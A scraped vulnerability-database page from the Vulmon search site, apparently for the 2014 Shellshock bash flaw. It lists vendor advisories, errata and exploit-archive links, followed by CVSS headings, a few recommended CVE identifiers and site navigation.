//secunia.com/advisories/60433http://marc.info/?l=bugtraq&m=141383244821813&w=2http://lists.opensuse.org/opensuse-updates/2014-10/msg00025.htmlhttp://jvn.jp/en/jp/JVN55667175/index.htmlhttp://marc.info/?l=bugtraq&m=141383138121313&w=2http://www.qnap.com/i/en/support/con_show.php?cid=61http://marc.info/?l=bugtraq&m=141383026420882&w=2http://lists.opensuse.org/opensuse-updates/2014-10/msg00023.htmlhttp://marc.info/?l=bugtraq&m=141383196021590&w=2http://marc.info/?l=bugtraq&m=141383353622268&w=2http://marc.info/?l=bugtraq&m=141383304022067&w=2http://marc.info/?l=bugtraq&m=141450491804793&w=2http://marc.info/?l=bugtraq&m=141383081521087&w=2http://jvndb.jvn.jp/jvndb/JVNDB-2014-000126http://www-01.ibm.com/support/docview.wss?uid=swg21686447http://lists.opensuse.org/opensuse-security-announce/2014-09/msg00037.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00029.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00028.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1354.htmlhttp://marc.info/?l=bugtraq&m=141383465822787&w=2http://secunia.com/advisories/61873http://marc.info/?l=bugtraq&m=141577241923505&w=2http://marc.info/?l=bugtraq&m=141576728022234&w=2http://marc.info/?l=bugtraq&m=141577297623641&w=2http://marc.info/?l=bugtraq&m=141577137423233&w=2http://marc.info/?l=bugtraq&m=141585637922673&w=2http://marc.info/?l=bugtraq&m=141694386919794&w=2http://secunia.com/advisories/62343http://secunia.com/advisories/62312http://marc.info/?l=bugtraq&m=142358026505815&w=2http://marc.info/?l=bugtraq&m=142358078406056&w=2http://marc.info/?l=bugtraq&m=142113462216480&w=2http://marc.info/?l=bugtraq&m=141879528318582&w=2http://marc.info/?l=bugtraq&m=142546741516006&w=2http://marc.info/?l=bugtraq&m=142118135300698&w=2http://marc.info/?l=bugtraq&m=142721162228379&w=2http://marc.info/?l=bugtraq&m=142719845423222&w=2http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0http://marc.info/?l=bugtraq&m=142805027510172&w=2http://advisories.mageia.org/MGASA-2014-0388.htmlhttp://www.mandriva.com/security/advisories?name=MDVSA-2015:164https://access.redhat.com/articles/1200223https://www.exploit-db.com/exploits/39918/http://packetstormsecurity.com/files/137376/IPFire-Bash-Environment-Variable-Injection-Shellshock.htmlhttp://www.securityfocus.com/bid/70103http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10673https://kc.mcafee.com/corporate/index?page=content&id=SB10085http://secunia.com/advisories/62228https://access.redhat.com/node/1200223http://secunia.com/advisories/61547http://secunia.com/advisories/61542http://secunia.com/advisories/59272http://linux.oracle.com/errata/ELSA-2014-1294.htmlhttp://linux.oracle.com/errata/ELSA-2014-1293.htmlhttps://www.exploit-db.com/exploits/40938/https://www.exploit-db.com/exploits/40619/https://www.exploit-db.com/exploits/38849/https://www.exploit-db.com/exploits/37816/https://www.exploit-db.com/exploits/42938/https://www.exploit-db.com/exploits/34879/https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-c04518183https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-c04497075http://www.securityfocus.com/archive/1/533593/100/0/threadedhttps://help.ecostruxureit.com/display/public/UADCO8x/StruxureWare+Data+Center+Operation+Software+Vulnerability+Fixeshttp://packetstormsecurity.com/files/161107/SonicWall-SSL-VPN-Shellshock-Remote-Code-Execution.htmlhttps://www.arista.com/en/support/advisories-notices/security-advisories/1008-security-advisory-0006https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760https://usn.ubuntu.com/2362-1/https://nvd.nist.govhttps://www.exploit-db.com/exploits/34765/https://www.kb.cert.org/vuls/id/252743
CVSSv3
CVSSv2
CVSSv3
VMScore
Recommendations:
CVE-2024-3400CVE-2023-7252CVE-2024-21111denial of serviceCVE-2024-29661CVE-2024-22856remote attackersencryptionCVE-2023-38299
Vulnerability Notification Service
You don’t have to wait for vulnerability scanning results
Get Started

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Products

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Connect

Twitter Reddit Linkedin Facebook